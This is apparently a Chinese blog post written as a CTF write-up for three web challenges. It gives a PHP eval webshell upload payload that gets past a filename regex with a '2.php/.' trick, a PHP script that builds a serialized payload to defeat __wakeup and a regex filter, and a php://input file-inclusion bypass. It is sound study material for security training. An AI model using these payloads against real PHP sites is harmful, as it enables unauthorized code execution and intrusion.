美文网首页
ics-7 && Web_php_unserialize &&

ics-7 && Web_php_unserialize &&

作者: jun123123 | 来源:发表于2019-11-09 00:01 被阅读0次
    • ics-7
      首页给了view-source可以看源码,里面有一个过滤
    if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && substr($_GET['id'], -1) === '9')
    

    这里判断字符串转为浮点型不等于1,但是1是整型和浮点数强类型比较一定不等于,所以我觉得这里可能是一个提醒,要查询id=1,构造id=1a9即可绕过这个判断
    拿到admin权限后可以到达文件写入页面,但是存在正则过滤
    尝试htaccess,截断,php.xxxx等多种方法均不能成功,最后看了wp里发现一种新方法
    payload:

    con=<?php @eval($_POST["cmd"]); ?>&file=2.php/.
    

    这样正则匹配时最后一个.号后无匹配项,可以绕过正则过滤,同时./代表当前文件夹,也就是写入2.php中,而服务器解析文件是按后缀解析的,这也就可以成功解析2.php
    同理也可以构造payload:

    con=<?php @eval($_POST["cmd"]); ?>&file=2.php/1/..
    
    • Web_php_unserialize
      不难的一个题,绕过_wakeup()函数和一个正则
      __wakeup()绕过只要令成员变量数量大于实际数量即可
      正侧绕过,这里让O:4变成O:+4即可(这里没想到,看到一道类似题wp才会
      构造payload:
    $a= new Demo('fl4g.php');
    $b=serialize($a);
    $b=str_replace('O:4','O:+4',$b);
    $b=str_replace('1:{','2:{',$b);
    echo base64_encode($b);
    

    输出结果复制再提交为var参数即可
    这里有个坑就是file是私有变量,序列化之后会有空白字符,如果拿到在线网站base64编码很容易就丢了空白字符,所以这里直接在php里进行base64编码。

    • Web_php_include
      绕过正则,直接传Php://input即可,但是这个post的数据提交的时候进行了ur编码。。所以抓包改一下吧。。

    相关文章

      网友评论

          本文标题:ics-7 && Web_php_unserialize &&

          本文链接:https://www.haomeiwen.com/subject/ixrgbctx.html